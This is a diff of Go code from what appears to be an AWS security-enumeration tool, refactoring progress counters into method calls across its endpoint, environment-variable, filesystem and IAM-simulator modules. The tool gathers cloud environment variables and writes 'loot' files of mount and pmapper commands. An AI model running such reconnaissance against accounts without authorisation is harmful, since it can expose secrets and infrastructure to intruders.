||||
for _, item := range GetDomainNames {
|
||||
@@ -1131,7 +1131,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1193,7 +1193,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, stage := range GetStages {
|
||||
@@ -1211,7 +1211,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, stage := range stages {
|
||||
@@ -1246,8 +1246,8 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
|
||||
func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1255,9 +1255,9 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
@@ -1265,7 +1265,7 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1300,8 +1300,8 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1309,9 +1309,9 @@ func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitG
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
awsService := "Redshift"
|
||||
protocol := "https"
|
||||
|
||||
@@ -1323,7 +1323,7 @@ func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitG
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1360,8 +1360,8 @@ UNUSED CODE - PLEASE REVIEW AND DELETE IF IT DOESN'T APPLY
|
||||
|
||||
func (m *EndpointsModule) getS3EndpointsPerRegion(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1369,9 +1369,9 @@ UNUSED CODE - PLEASE REVIEW AND DELETE IF IT DOESN'T APPLY
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
ListBuckets, _ := m.S3Client.ListBuckets(
|
||||
@@ -1434,8 +1434,8 @@ UNUSED CODE - PLEASE REVIEW AND DELETE IF IT DOESN'T APPLY
|
||||
*/
|
||||
func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1443,9 +1443,9 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
var awsService = "Cloudfront"
|
||||
@@ -1466,7 +1466,7 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
if ListDistributions.DistributionList.Quantity == nil {
|
||||
@@ -1546,8 +1546,8 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
|
||||
|
||||
func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1555,15 +1555,15 @@ func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.Wait
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
ServiceSummaryList, err := sdk.CachedAppRunnerListServices(m.AppRunnerClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
for _, service := range ServiceSummaryList {
|
||||
@@ -1590,7 +1590,7 @@ func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.Wait
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1614,7 +1614,7 @@ func (m *EndpointsModule) getAppRunnerEndpointsPerRegion(r string, wg *sync.Wait
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
if DescribeCustomDomains.DNSTarget != nil {
|
||||
@@ -1667,8 +1667,8 @@ func (m *EndpointsModule) appRunnerDescribeCustomDomain(r string, serviceArn str
|
||||
|
||||
func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Endpoint) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -1676,9 +1676,9 @@ func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
var public = "True"
|
||||
var protocol = "https"
|
||||
var port int32 = 443
|
||||
@@ -1687,7 +1687,7 @@ func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
if len(containerServices) > 0 {
|
||||
|
||||
+47
-47
@@ -105,7 +105,7 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -290,7 +290,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
}
|
||||
res, _ := servicemap.IsServiceInRegion("ecs", r)
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getECSEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -300,32 +300,32 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getLambdaEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getLightsailEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("sagemaker", r)
|
||||
res, err = servicemap.IsServiceInRegion("sagemaker-ai", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getSagemakerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -334,8 +334,8 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
|
||||
func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -343,9 +343,9 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
//var PaginationMarker *string
|
||||
|
||||
@@ -364,7 +364,7 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
for _, containerDefinition := range DescribeTaskDefinition.TaskDefinition.ContainerDefinitions {
|
||||
@@ -390,7 +390,7 @@ func (m *EnvsModule) getTaskDefinitionFamilies(region string) []string {
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -425,8 +425,8 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(taskDefinition ecsT
|
||||
|
||||
func (m *EnvsModule) getLambdaEnvironmentVariablesPerRegion(region string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -434,14 +434,14 @@ func (m *EnvsModule) getLambdaEnvironmentVariablesPerRegion(region string, wg *s
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
Functions, err := sdk.CachedLambdaListFunctions(m.LambdaClient, aws.ToString(m.Caller.Account), region)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -467,8 +467,8 @@ func (m *EnvsModule) getLambdaEnvironmentVariablesPerFunction(function lambdaTyp
|
||||
|
||||
func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -476,16 +476,16 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
ServiceSummaryList, err := sdk.CachedAppRunnerListServices(m.AppRunnerClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
//modLog.Error(err.Error())
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
if len(ServiceSummaryList) > 0 {
|
||||
@@ -506,7 +506,7 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
|
||||
}
|
||||
@@ -530,8 +530,8 @@ func (m *EnvsModule) getAppRunnerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
|
||||
func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -539,16 +539,16 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
awsService := "Lightsail [Container]"
|
||||
|
||||
ContainerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -574,8 +574,8 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
|
||||
func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -583,9 +583,9 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
awsService := "Sagemaker"
|
||||
|
||||
var PaginationControl *string
|
||||
@@ -603,7 +603,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -621,7 +621,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -665,7 +665,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -683,7 +683,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -726,7 +726,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -744,7 +744,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -788,7 +788,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -805,7 +805,7 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
+16
-16
@@ -245,7 +245,7 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
f := filepath.Join(path, "filesystems-mount-commands.txt")
|
||||
|
||||
@@ -283,7 +283,7 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
|
||||
if verbosity > 2 {
|
||||
@@ -297,20 +297,20 @@ func (m *FilesystemsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
var policy string
|
||||
|
||||
DescribeFileSystems, err := sdk.CachedDescribeFileSystems(m.EFSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -336,7 +336,7 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
|
||||
DescribeMountTargets, err := sdk.CachedDescribeMountTargets(m.EFSClient, aws.ToString(m.Caller.Account), r, id)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -349,7 +349,7 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
dataReceiver <- FilesystemObject{
|
||||
AWSService: awsService,
|
||||
Region: r,
|
||||
@@ -381,14 +381,14 @@ func (m *FilesystemsModule) getEFSSharesPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationMarker *string
|
||||
var PaginationMarker2 *string
|
||||
@@ -410,7 +410,7 @@ func (m *FilesystemsModule) getFSxSharesPerRegion(r string, wg *sync.WaitGroup,
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
+16
-16
@@ -276,7 +276,7 @@ func (m *IamSimulatorModule) writeLoot(outputDirectory string, verbosity int, pm
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
outFile := filepath.Join(path, "iam-simulator-pmapper-commands.txt")
|
||||
@@ -292,7 +292,7 @@ func (m *IamSimulatorModule) writeLoot(outputDirectory string, verbosity int, pm
|
||||
err = os.WriteFile(outFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
@@ -329,18 +329,18 @@ func (m *IamSimulatorModule) executeChecks(wg *sync.WaitGroup, resource string,
|
||||
func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, resource string, dataReceiver chan SimulatorResult) {
|
||||
defer func() {
|
||||
wg.Done()
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
|
||||
ListUsers, err := sdk.CachedIamListUsers(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -369,19 +369,19 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
|
||||
func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, resource string, dataReceiver chan SimulatorResult) {
|
||||
defer func() {
|
||||
wg.Done()
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
|
||||
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
|
||||
}
|
||||
@@ -419,7 +419,7 @@ func (m *IamSimulatorModule) getPolicySimulatorResult(principal *string, actionN
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
m.modLog.Error(fmt.Sprintf("Failed to query actions for %s\n\n", aws.ToString(principal)))
|
||||
return
|
||||
}
|
||||
